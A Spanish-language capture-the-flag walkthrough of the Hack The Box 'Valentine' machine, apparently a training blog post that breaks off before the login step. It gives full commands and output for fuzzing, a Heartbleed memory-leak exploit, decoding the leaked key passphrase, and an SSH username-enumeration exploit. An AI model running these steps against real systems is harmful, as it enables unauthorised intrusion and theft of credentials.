Valentine - Hack The Box
Esta fue una máquina relativamente sencilla, investigaremos el puerto HTTP que con la ayuda de nmap y haciendo Fuzzing, encontramos una página que nos dara información valiosa como una llave privada en base hexadecimal. La desciframos, pero estará encriptada por lo que no nos servirá hasta más adelante. Con la ayuda de nmap encontramos un Exploit llamado Heartbleed, con el cual capturaremos data que nos ayudara a descifrar al fin la llave privada y nos dará una contraseña para el SSH, usando el Exploit CVE-2018-15473 pondremos nombres relacionados a la máquina y encontraremos un usuario con el cual entramos. Para escalar privilegios, usamos la herramienta Tmux, que encontramos en el historial de Bash y que nos meterá a una nueva terminal como Root (CVE-2011-1496).
Herramientas utilizadas:
- ping
- nmap
- wappalizer
- whatweb
- wfuzz
- gobuster
- nano
- cat
- tr
- xxd
- wget
- ssh2john
- python2
- johntheripper
- git
- grep
- metasploit framework(msfconsole)
- Módulo: auxiliary/scanner/ssl/openssl_heartbleed
- searchsploit
- ssh
- id
- tmux
Índice
- Recopilación de Información
- Análisis de Vulnerabilidades
- Analizando Servicio HTTP
- Fuzzing
- Enumerando Directorios Encontrados
- Descifrando Llave en Hexadecimal
- Buscando Vulnerabilidades Web con NMAP
- Explotación de Vulnerabilidades
- Buscando el Exploit Heartbleed
- Usando Módulo Auxiliar de Metasploit para Explotar Heartbleed
- Descifrando Data en Base64 y Hash
- Buscando un Usuario Valido para Servicio SSH
- Post Explotación
- Links de Investigación
Recopilación de Información
Traza ICMP
Vamos a realizar un ping para saber si la máquina está activa y en base al TTL sabremos que SO opera en dicha máquina.
ping -c 4 10.10.10.79
PING 10.10.10.79 (10.10.10.79) 56(84) bytes of data.
64 bytes from 10.10.10.79: icmp_seq=1 ttl=63 time=137 ms
64 bytes from 10.10.10.79: icmp_seq=2 ttl=63 time=129 ms
64 bytes from 10.10.10.79: icmp_seq=3 ttl=63 time=129 ms
64 bytes from 10.10.10.79: icmp_seq=4 ttl=63 time=129 ms
--- 10.10.10.79 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3012ms
rtt min/avg/max/mdev = 128.773/131.114/137.170/3.505 ms
Por el TTL, sabemos que la máquina usa Linux. Ahora, hagamos los escaneos de puertos y servicios.
Escaneo de Puertos
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.10.79 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 12:09 CST
Initiating SYN Stealth Scan at 12:09
Scanning 10.10.10.79 [65535 ports]
Discovered open port 22/tcp on 10.10.10.79
Discovered open port 443/tcp on 10.10.10.79
Discovered open port 80/tcp on 10.10.10.79
Completed SYN Stealth Scan at 12:09, 28.06s elapsed (65535 total ports)
Nmap scan report for 10.10.10.79
Host is up, received user-set (1.9s latency).
Scanned at 2023-04-21 12:09:04 CST for 28s
Not shown: 53231 filtered tcp ports (no-response), 12301 closed tcp ports (reset)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
443/tcp open https syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.23 seconds
Raw packets sent: 126157 (5.551MB) | Rcvd: 12366 (494.692KB)
Parámetros | Descripción |
---|---|
-p- | Para indicarle un escaneo en ciertos puertos. |
–open | Para indicar que aplique el escaneo en los puertos abiertos. |
-sS | Para indicar un TCP Syn Port Scan para que nos agilice el escaneo. |
–min-rate | Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000). |
-vvv | Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo. |
-n | Para indicar que no se aplique resolución dns para agilizar el escaneo. |
-Pn | Para indicar que se omita el descubrimiento de hosts. |
-oG | Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts. |
Hay 3 puertos abiertos, dos ya los conocemos, pero al ver el puerto 80 y el puerto 443 me da la impresión que el puerto 80 nos va a redireccionar al puerto 443. Hagamos un escaneo de servicios.
Escaneo de Servicios
nmap -sC -sV -p22,80,443 10.10.10.79 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 12:10 CST
Nmap scan report for 10.10.10.79
Host is up (0.13s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 964c51423cba2249204d3eec90ccfd0e (DSA)
| 2048 46bf1fcc924f1da042b3d216a8583133 (RSA)
|_ 256 e62b2519cb7e54cb0ab9ac1698c67da9 (ECDSA)
80/tcp open http Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
443/tcp open ssl/http Apache httpd 2.2.22 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_ssl-date: 2023-04-21T18:10:30+00:00; +1s from scanner time.
|_http-server-header: Apache/2.2.22 (Ubuntu)
| ssl-cert: Subject: commonName=valentine.htb/organizationName=valentine.htb/stateOrProvinceName=FL/countryName=US
| Not valid before: 2018-02-06T00:45:25
|_Not valid after: 2019-02-06T00:45:25
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.49 seconds
Parámetros | Descripción |
---|---|
-sC | Para indicar un lanzamiento de scripts básicos de reconocimiento. |
-sV | Para identificar los servicios/versión que están activos en los puertos que se analicen. |
-p | Para indicar puertos específicos. |
-oN | Para indicar que el output se guarde en un fichero. Lo llame targeted. |
Me da mucha curiosidad ese puerto 443, pero primero vamos a investigar la página web del puerto 80.
Análisis de Vulnerabilidades
Analizando Servicio HTTP
Entremos.
Buena imagen, pero no hay nada de nada, veamos que nos dice Wappalizer:
Utiliza PHP, con eso ya tenemos varios vectores de ataque, veamos si con whatweb nos da otro dato:
whatweb http://10.10.10.79
http://10.10.10.79 [200 OK] Apache[2.2.22], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.2.22 (Ubuntu)], IP[10.10.10.79], PHP[5.3.10-1ubuntu3.26], X-Powered-By[PHP/5.3.10-1ubuntu3.26]
Nada que nos sea útil.
Te diría que buscaramos en el código fuente, pero no encontraras nada aparte de la imagen, tanto en el puerto 80/HTTP como en el puerto 443/HTTPS, mejor apliquemos Fuzzing de una vez.
Fuzzing
wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.10.79/FUZZ/
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.79/FUZZ/
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000035: 403 10 L 30 W 287 Ch "cgi-bin"
000000015: 200 1 L 2 W 38 Ch "index"
000000014: 200 1 L 2 W 38 Ch "http://10.10.10.79//"
000000834: 200 15 L 66 W 1097 Ch "dev"
000000083: 403 10 L 30 W 285 Ch "icons"
000000222: 403 10 L 30 W 283 Ch "doc"
000023112: 200 27 L 54 W 554 Ch "encode"
000024243: 200 25 L 54 W 552 Ch "decode"
000045240: 200 1 L 2 W 38 Ch "http://10.10.10.79//"
000095524: 403 10 L 30 W 293 Ch "server-status"
Total time: 575.5224
Processed Requests: 220560
Filtered Requests: 220537
Requests/sec.: 383.2344
Parámetros | Descripción |
---|---|
-c | Para ver el resultado en un formato colorido. |
–hc | Para no mostrar un código de estado en los resultados. |
-t | Para indicar la cantidad de hilos a usar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
Ahora probemos con Gobuster, aunque vamos a enfocarlo en archivos PHP y TXT para ver si encuentra algo útil:
gobuster dir -u http://10.10.10.79/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 20 -x php,txt
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.10.79/
[+] Method: GET
[+] Threads: 20
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Extensions: php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/index.php (Status: 200) [Size: 38]
/index (Status: 200) [Size: 38]
/dev (Status: 301) [Size: 308] [--> http://10.10.10.79/dev/]
/encode (Status: 200) [Size: 554]
/encode.php (Status: 200) [Size: 554]
/decode (Status: 200) [Size: 552]
/decode.php (Status: 200) [Size: 552]
/omg (Status: 200) [Size: 153356]
/server-status (Status: 403) [Size: 292]
Progress: 661676 / 661683 (100.00%)
===============================================================
Finished
===============================================================
Parámetros | Descripción |
---|---|
-u | Para indicar la URL a utilizar. |
-w | Para indicar el diccionario a usar en el fuzzing. |
-t | Para indicar la cantidad de hilos a usar. |
-x | Para indicar la busqueda especifica de extensiones de archivos. |
Nada más por probar, veamos que nos puede reportar nmap si le decimos que aplique Fuzzing:
nmap --script http-enum -p80 10.10.10.79 -oN webScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 12:12 CST
Nmap scan report for 10.10.10.79
Host is up (0.13s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
| /dev/: Potentially interesting directory w/ listing on 'apache/2.2.22 (ubuntu)'
|_ /index/: Potentially interesting folder
Nmap done: 1 IP address (1 host up) scanned in 13.19 seconds
Vamos a analizar el directorio dev que encontró nmap, gobuster y wfuzz, esto porque puede ser de un desarrollador, a lo mejor puso algo ahí de utilidad.
Enumerando Directorios Encontrados
Entremos:
Ok, encontramos dos cosillas, veamos de que se trata, primero vamos a ver el archivo de texto:
Traducción |
---|
Para hacer: 1) Café. 2) Investigar. 3) Arreglar el decodificador/codificador antes de ponerlo en marcha. 4) Asegurarse de que la codificación/decodificación sólo se realiza en el lado del cliente. 5) No usar el decodificador/codificador hasta que todo esto esté hecho. 6) Encontrar una forma mejor de tomar notas. |
Esto es un mensaje de un desarrollador, menciona 2 páginas llamadas encoder y decoder que aparecieron en el Fuzzing.
Ahora veamos el otro archivo:
Esto me suena a que es una llave pública o privada, está en hexadecimal, por lo que podemos descifrar que es.
Bien, ya entramos en dev, veamos el de encode:
Ahora veamos la página decode:
Pues no nos sirve de mucho esto, me parece que encode transforma la data que le pongas en base64 y el decode lo descifra.
Con esto creo que ya revisamos todo.
Veamos si podemos descifrar la llave en hexadecimal.
Descifrando Llave en Hexadecimal
Vamos a copiar todo eso en un archivo:
nano key
Después de guardar y cerrar, vamos a utilizar el comando tr para eliminar los espacios:
cat key | tr -d ' '
2d2d2d2d2d424547494e205253412050524956415445204b45592d2d2d2d2d0d0a50726f632d547970653a20...
Y con el comando xxd, vamos a descifrar esta llave:
cat key | tr -d ' ' | xxd -ps -r
-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,AEB88C140F69BF2074788DE24AE48D46
DbPrO78kegNuk1DAqlAN5jbjXv0PPsog3jdbMFS8iE9p3UOL0lF0xf7PzmrkDa8R
5y/b46+9nEpCMfTPhNuJRcW2U2gJcOFH+9RJDBC5UJMUS1/gjB/7/My00Mwx+aI6
0EI0SbOYUAV1W4EV7m96QsZjrwJvnjVafm6VsKaTPBHpugcASvMqz76W6abRZeXi
Ebw66hjFmAu4AzqcM/kigNRFPYuNiXrXs1w/deLCqCJ+Ea1T8zlas6fcmhM8A+8P
OXBKNe6l17hKaT6wFnp5eXOaUIHvHnvO6ScHVWRrZ70fcpcpimL1w13Tgdd2AiGd
pHLJpYUII5PuO6x+LS8n1r/GWMqSOEimNRD1j/59/4u3ROrTCKeo9DsTRqs2k1SH
QdWwFwaXbYyT1uxAMSl5Hq9OD5HJ8G0R6JI5RvCNUQjwx0FITjjMjnLIpxjvfq+E
p0gD0UcylKm6rCZqacwnSddHW8W3LxJmCxdxW5lt5dPjAkBYRUnl91ESCiD4Z+uC
...
¡Listo! Pero nos menciona que está encriptada, vamos a tratar de desencriptarla.
El siguiente blog, explica como hacerlo:
Pero, necesitamos la herramienta ssh2john, que la puedes encontrar aquí:
Vamos a copiar ese script con el comando wget:
wget https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py
--2023-04-21 14:42:03-- https://raw.githubusercontent.com/openwall/john/bleeding-jumbo/run/ssh2john.py
Resolviendo github.com (github.com)... 140.82.113.3
Conectando con github.com (github.com)[140.82.113.3]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: no especificado [text/html]
Grabando a: «sshng2john.py»
ssh2john.py 100%[=======================>] 9.45K --.-KB/s en 0.001s
2023-04-21 14:42:04 (1.61 MB/s) - «ssh2john.py» guardado [533071]
Puedes ver que ya se copió:
ls
heartbleed-PoC sshng2john.py
Ahora copiemos la llave privada en un archivo llamado id_rsa y dale los permisos para esta clase de llaves:
nano id_rsa
chmod 600 id_rsa
Después de guardar y salir, usaremos la herramienta que descargamos junto con el archivo id_rsa para convertir esta llave en un hash que la herramienta john pueda descifrar.
Hagámoslo entonces:
python2 sshng2john.py id_rsa > hash
Y al fin, descifremos el hash:
john -w=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
0g 0:00:00:11 DONE (2023-04-21 15:03) 0g/s 1262Kp/s 1262Kc/s 1262KC/s *7¡Vamos!
Session completed.
Fue un intento fallido para descifrar la llave.
Y ya, pues, no encuentro otra forma de vulnerar la página, así que vamos a ver si nmap nos puede decir si un puerto tienen alguna vulnerabilidad.
Buscando Vulnerabilidades Web con NMAP
nmap --script "vuln and safe" -p443 10.10.10.79 -oN newWebScan
Starting Nmap 7.93 ( https://nmap.org ) at 2023-04-21 13:10 CST
Nmap scan report for 10.10.10.79
Host is up (0.13s latency).
PORT STATE SERVICE
443/tcp open https
| ssl-ccs-injection:
| VULNERABLE:
| SSL/TLS MITM vulnerability (CCS Injection)
| State: VULNERABLE
| Risk factor: High
| OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h
| does not properly restrict processing of ChangeCipherSpec messages,
| which allows man-in-the-middle attackers to trigger use of a zero
| length master key in certain OpenSSL-to-OpenSSL communications, and
| consequently hijack sessions or obtain sensitive information, via
| a crafted TLS handshake, aka the "CCS Injection" vulnerability.
|
| References:
| http://www.cvedetails.com/cve/2014-0224
| http://www.openssl.org/news/secadv_20140605.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0224
| ssl-heartbleed:
| VULNERABLE:
| The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. It allows for stealing information intended to be protected by SSL/TLS encryption.
| State: VULNERABLE
| Risk factor: High
| OpenSSL versions 1.0.1 and 1.0.2-beta releases (including 1.0.1f and 1.0.2-beta1) of OpenSSL are affected by the Heartbleed bug. The bug allows for reading memory of systems protected by the vulnerable OpenSSL versions and could allow for disclosure of otherwise encrypted confidential information as well as the encryption keys themselves.
|
| References:
| http://cvedetails.com/cve/2014-0160/
| http://www.openssl.org/news/secadv_20140407.txt
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-0160
|_http-vuln-cve2017-1001000: ERROR: Script execution failed (use -d to debug)
| ssl-poodle:
| VULNERABLE:
| SSL POODLE information leak
| State: VULNERABLE
| IDs: CVE:CVE-2014-3566 BID:70574
| The SSL protocol 3.0, as used in OpenSSL through 1.0.1i and other
| products, uses nondeterministic CBC padding, which makes it easier
| for man-in-the-middle attackers to obtain cleartext data via a
| padding-oracle attack, aka the "POODLE" issue.
| Disclosure date: 2014-10-14
| Check results:
| TLS_RSA_WITH_AES_128_CBC_SHA
| References:
| https://www.securityfocus.com/bid/70574
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-3566
| https://www.imperialviolet.org/2014/10/14/poodle.html
|_ https://www.openssl.org/~bodo/ssl-poodle.pdf
Nmap done: 1 IP address (1 host up) scanned in 24.55 seconds
NOTA: Utilice el puerto 443 porque no funciono con el puerto 80.
Muy bien, el único Exploit vulnerable que veo es el de Heartbleed, pero no sé dé que se trate, vamos a investigarlo:
Ataque Heartbleed |
---|
Heartbleed es un agujero de seguridad de software en la biblioteca de código abierto OpenSSL, solo vulnerable en su versión 1.0.1f, que permite a un atacante leer la memoria de un servidor o un cliente, permitiéndole por ejemplo, conseguir las claves privadas SSL de un servidor. |
Vamos a usar este Exploit, pero me llama la atención que en las imágenes aparece un corazón similar al de la página index:
¿Nos estaban dando una pista desde el principio?
Entonces vamos a buscar un Exploit.
Explotación de Vulnerabilidades
Buscando el Exploit Heartbleed
Mira encontré este:
Por lo que entiendo, el Exploit tratara de extraer información almacenada en la memoria del servidor de la máquina y lo guardara en un archivo llamado out.txt.
Vamos a clonarlo y a probarlo:
git clone https://github.com/mpgn/heartbleed-PoC.git
Clonando en 'heartbleed-PoC'...
remote: Enumerating objects: 19, done.
remote: Total 19 (delta 0), reused 0 (delta 0), pack-reused 19
Recibiendo objetos: 100% (19/19), 5.79 KiB | 456.00 KiB/s, listo.
Resolviendo deltas: 100% (4/4), listo.
Nos metemos al directorio que se creó y vamos a probar el Exploit:
python2 heartbleed-exploit.py 10.10.10.79
Connecting...
Sending Client Hello...
... received message: type = 22, ver = 0302, length = 66
... received message: type = 22, ver = 0302, length = 885
... received message: type = 22, ver = 0302, length = 331
... received message: type = 22, ver = 0302, length = 4
Handshake done...
Sending heartbeat request with length 4 :
... received message: type = 24, ver = 0302, length = 16384
Received heartbeat response in file out.txt
WARNING : server returned more data than it should - server is vulnerable!
Saco algo, puedes ver que se creó un archivo llamado out.txt:
ls
heartbleed-exploit.py out.txt README.md utils
OJO: utilice el comando grep para eliminar parte del output que se repitió mucho, aquí tienes una página que muestra lo útil del comando grep:
Ahora sí, veamos el contenido:
cat out.txt | grep -v '00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00'
0000: 02 40 00 D8 03 02 53 43 5B 90 9D 9B 72 0B BC 0C .@....SC[...r...
0010: BC 2B 92 A8 48 97 CF BD 39 04 CC 16 0A 85 03 90 .+..H...9.......
0020: 9F 77 04 33 D4 DE 00 00 66 C0 14 C0 0A C0 22 C0 .w.3....f.....".
0030: 21 00 39 00 38 00 88 00 87 C0 0F C0 05 00 35 00 !.9.8.........5.
0040: 84 C0 12 C0 08 C0 1C C0 1B 00 16 00 13 C0 0D C0 ................
0050: 03 00 0A C0 13 C0 09 C0 1F C0 1E 00 33 00 32 00 ............3.2.
0060: 9A 00 99 00 45 00 44 C0 0E C0 04 00 2F 00 96 00 ....E.D...../...
0070: 41 C0 11 C0 07 C0 0C C0 02 00 05 00 04 00 15 00 A...............
0080: 12 00 09 00 14 00 11 00 08 00 06 00 03 00 FF 01 ................
0090: 00 00 49 00 0B 00 04 03 00 01 02 00 0A 00 34 00 ..I...........4.
00a0: 32 00 0E 00 0D 00 19 00 0B 00 0C 00 18 00 09 00 2...............
00b0: 0A 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 ................
00c0: 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0F 00 ................
00d0: 10 00 11 00 23 00 00 00 0F 00 01 01 30 2E 30 2E ....#.......0.0.
00e0: 31 2F 64 65 63 6F 64 65 2E 70 68 70 0D 0A 43 6F 1/decode.php..Co
00f0: 6E 74 65 6E 74 2D 54 79 70 65 3A 20 61 70 70 6C ntent-Type: appl
0100: 69 63 61 74 69 6F 6E 2F 78 2D 77 77 77 2D 66 6F ication/x-www-fo
0110: 72 6D 2D 75 72 6C 65 6E 63 6F 64 65 64 0D 0A 43 rm-urlencoded..C
0120: 6F 6E 74 65 6E 74 2D 4C 65 6E 67 74 68 3A 20 34 ontent-Length: 4
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D DC mV0aGVoeXBlCg==.
0160: ED 31 5B 67 F5 75 B8 0D 1E 81 12 F4 5D 82 43 29 .1[g.u......].C)
0170: 26 C9 B8 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C 0C &...............
0180: 2E 31 2E 30 35 31 36 30 3C 2F 76 65 72 73 69 6F .1.05160</versio
0190: 6E 3E 0A 3C 64 65 76 69 63 65 2D 69 64 20 64 65 n>.<device-id de
01a0: 76 69 63 65 2D 74 79 70 65 3D 22 4D 61 63 42 6F vice-type="MacBo
01b0: 6F 6B 41 69 72 34 2C 31 22 20 70 6C 61 74 66 6F okAir4,1" platfo
01c0: 72 6D 2D 76 65 72 73 69 6F 6E 3D 22 31 30 2E 39 rm-version="10.9
01d0: 2E 32 22 20 75 6E 69 71 75 65 2D 69 64 3D 22 34 .2" unique-id="4
01e0: 37 30 45 35 31 34 41 35 46 46 33 39 35 35 46 45 70E514A5FF3955FE
01f0: 44 31 35 42 44 46 31 30 31 31 33 42 39 38 30 30 D15BDF10113B9800
0200: 38 45 35 39 32 30 46 31 30 32 42 36 38 42 34 36 8E5920F102B68B46
0210: 43 41 31 41 39 32 42 41 33 45 36 43 37 36 43 30 CA1A92BA3E6C76C0
0220: 35 32 41 38 33 39 41 34 43 35 41 34 30 46 41 44 52A839A4C5A40FAD
0230: 39 43 37 33 45 32 45 32 31 34 45 39 42 42 39 30 9C73E2E214E9BB90
0240: 45 33 39 32 44 33 36 39 38 31 45 39 30 39 36 39 E392D36981E90969
0250: 35 44 44 34 30 42 36 32 30 35 42 42 30 34 43 22 5DD40B6205BB04C"
0260: 3E 6D 61 63 2D 69 6E 74 65 6C 3C 2F 64 65 76 69 >mac-intel</devi
0270: 63 65 2D 69 64 3E 0A 3C 6D 61 63 2D 61 64 64 72 ce-id>.<mac-addr
0280: 65 73 73 2D 6C 69 73 74 3E 0A 3C 6D 61 63 2D 61 ess-list>.<mac-a
0290: 64 64 72 65 73 73 3E 36 37 63 36 65 34 34 39 37 ddress>67c6e4497
02a0: 63 39 38 3C 2F 6D 61 63 2D 61 64 64 72 65 73 73 c98</mac-address
02b0: 3E 3C 2F 6D 61 63 2D 61 64 64 72 65 73 73 2D 6C ></mac-address-l
02c0: 69 73 74 3E 0A 3C 67 72 6F 75 70 2D 73 65 6C 65 ist>.<group-sele
02d0: 63 74 3E 56 50 4E 3C 2F 67 72 6F 75 70 2D 73 65 ct>VPN</group-se
02e0: 6C 65 63 74 3E 0A 3C 67 72 6F 75 70 2D 61 63 63 lect>.<group-acc
02f0: 65 73 73 3E 68 74 74 70 73 3A 2F 2F 31 30 2E 31 ess>https://10.1
0300: 30 2E 31 30 2E 37 39 3A 34 34 33 3C 2F 67 72 6F 0.10.79:443</gro
0310: 75 70 2D 61 63 63 65 73 73 3E 0A 3C 2F 63 6F 6E up-access>.</con
0320: 66 69 67 2D 61 75 74 68 3E 77 3F A7 F5 07 8F 0C fig-auth>w?.....
0330: E1 1B 6C 72 CC 6C 79 97 8E D9 7B 79 87 02 02 02 ..lr.ly...{y....
1f60: 71 D4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 q...............
Veo dos cosillas que nos pueden servir, una es esta que es una variable con data en base64:
0130: 32 0D 0A 0D 0A 24 74 65 78 74 3D 61 47 56 68 63 2....$text=aGVhc
0140: 6E 52 69 62 47 56 6C 5A 47 4A 6C 62 47 6C 6C 64 nRibGVlZGJlbGlld
0150: 6D 56 30 61 47 56 6F 65 58 42 6C 43 67 3D 3D DC mV0aGVoeXBlCg==.
Y la otra es esta:
unique-id="4
01e0: 37 30 45 35 31 34 41 35 46 46 33 39 35 35 46 45 70E514A5FF3955FE
01f0: 44 31 35 42 44 46 31 30 31 31 33 42 39 38 30 30 D15BDF10113B9800
0200: 38 45 35 39 32 30 46 31 30 32 42 36 38 42 34 36 8E5920F102B68B46
0210: 43 41 31 41 39 32 42 41 33 45 36 43 37 36 43 30 CA1A92BA3E6C76C0
0220: 35 32 41 38 33 39 41 34 43 35 41 34 30 46 41 44 52A839A4C5A40FAD
0230: 39 43 37 33 45 32 45 32 31 34 45 39 42 42 39 30 9C73E2E214E9BB90
0240: 45 33 39 32 44 33 36 39 38 31 45 39 30 39 36 39 E392D36981E90969
0250: 35 44 44 34 30 42 36 32 30 35 42 42 30 34 43 22 5DD40B6205BB04C"
El problema es que no identifico en que está encodeado la variable unique-id, entonces la voy a descartar de momento.
Además, nos indica una MAC de, al parecer, un dispositivo Apple, qué raro, bien veamos si podemos descifrar la variable text.
Usando Módulo Auxiliar de Metasploit para Explotar Heartbleed
Dentro de Metasploit tenemos un módulo que podemos usar para identificar la vulnerabilidad Heartbleed y dumpear la memoria del servidor al mismo tiempo.
Vamos a sacarlo por pasos.
- Inicia Metasploit:
msfconsole
- Busca y usa el módulo de escaneo de Heartbleed:
msf6 > search heartbleed
-
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 auxiliary/server/openssl_heartbeat_client_memory 2014-04-07 normal No OpenSSL Heartbeat (Heartbleed) Client Memory Exposure
1 auxiliary/scanner/ssl/openssl_heartbleed 2014-04-07 normal Yes OpenSSL Heartbeat (Heartbleed) Information Leak
-
Interact with a module by name or index. For example info 1, use 1 or use auxiliary/scanner/ssl/openssl_heartbleed
-
msf6 > use 1
msf6 auxiliary(scanner/ssl/openssl_heartbleed) >
- Configura el módulo:
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set RHOSTS 10.10.10.79 RHOSTS => 10.10.10.79 msf6 auxiliary(scanner/ssl/openssl_heartbleed) > set VERBOSE true VERBOSE => true
- Activalo:
msf6 auxiliary(scanner/ssl/openssl_heartbleed) > exploit [*] 10.10.10.79:443 - Leaking heartbeat response #1 [*] 10.10.10.79:443 - Sending Client Hello... [*] 10.10.10.79:443 - SSL record #1: [*] 10.10.10.79:443 - Type: 22 [*] 10.10.10.79:443 - Version: 0x0301 [*] 10.10.10.79:443 - Length: 86 [*] 10.10.10.79:443 - Handshake #1: [*] 10.10.10.79:443 - Length: 82 ...
La respuesta es mucho más larga, pero podemos ver la data en base64 que ya habiamos obtenido antes.
Descifrando Data en Base64 y Hash
Vamos a copiar solamente la data de base64 en un archivo:
nano text
cat text
aGVhcnRibGVlZGJlbGlldmV0aGVoeXBlCg==
Y ahora, usemos el comando base64 para ver si puede descifrar que es esta data:
cat text| base64 -d
heartbleedbelievethehype
Mmmmmm a mi parecer esto es una contraseña. ¿Será que es la contraseña para desencriptar la llave privada?, o ¿es la contraseña de un usuario?
Como no tenemos un usuario todavia, vamos a probar si es la contraseña para la llave privada.
john -w=diccionario.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Press 'q' or Ctrl-C to abort, almost any other key for status
heartbleedbelievethehype (id_rsa)
1g 0:00:00:00 DONE (2023-04-21 15:06) 16.66g/s 16.66p/s 16.66c/s 16.66C/s heartbleedbelievethehype
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
Pefecto si es, ya tenemos una contraseña para el SSH, pero nos falta un usuario.
Vamos a hacer lo que hicimos en la máquina Nibbles, a probar con todo.
Buscando un Usuario Valido para Servicio SSH
Lo que vamos a probar como usuarios, serán los siguientes:
- valentine
- heart
- bleed
- heartbleed
- believe
- hype
Para probarlos, vamos a usar un Exploit que ya utilizamos una vez en la máquina Blocky, busquémoslo con Searchsploit:
searchsploit ssh enum
----------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------------------------------------------------- ---------------------------------
OpenSSH 2.3 < 7.7 - Username Enumeration | linux/remote/45233.py
OpenSSH 2.3 < 7.7 - Username Enumeration (PoC) | linux/remote/45210.py
OpenSSH 7.2p2 - Username Enumeration | linux/remote/40136.py
OpenSSH < 7.7 - User Enumeration (2) | linux/remote/45939.py
OpenSSHd 7.2p2 - Username Enumeration | linux/remote/40113.txt
----------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
Papers: No Results
Copiemos el Exploit:
searchsploit -m linux/remote/45939.py
Exploit: OpenSSH < 7.7 - User Enumeration (2)
URL: https://www.exploit-db.com/exploits/45939
Path: /usr/share/exploitdb/exploits/linux/remote/45939.py
Codes: CVE-2018-15473
Verified: False
File Type: Python script, ASCII text executable
Y ahora sí, probemos los usuarios que tenemos:
python2 SSH_Exploit.py 10.10.10.79 valentine 2>/dev/null
[-] valentine is an invalid username
python2 SSH_Exploit.py 10.10.10.79 heart 2>/dev/null
[-] heart is an invalid username
python2 SSH_Exploit.py 10.10.10.79 bleed 2>/dev/null
[-] bleed is an invalid username
python2 SSH_Exploit.py 10.10.10.79 heartbleed 2>/dev/null
[-] heartbleed is an invalid username
python2 SSH_Exploit.py 10.10.10.79 hype 2>/dev/null
[+] hype is a valid username
¡Encontramos uno! Vamos a probar si podemos entrar al servicio SSH con ese usuario, con la llave privada id_rsa y con la contraseña heartbleedbelievethehype.
IMPORTANTE
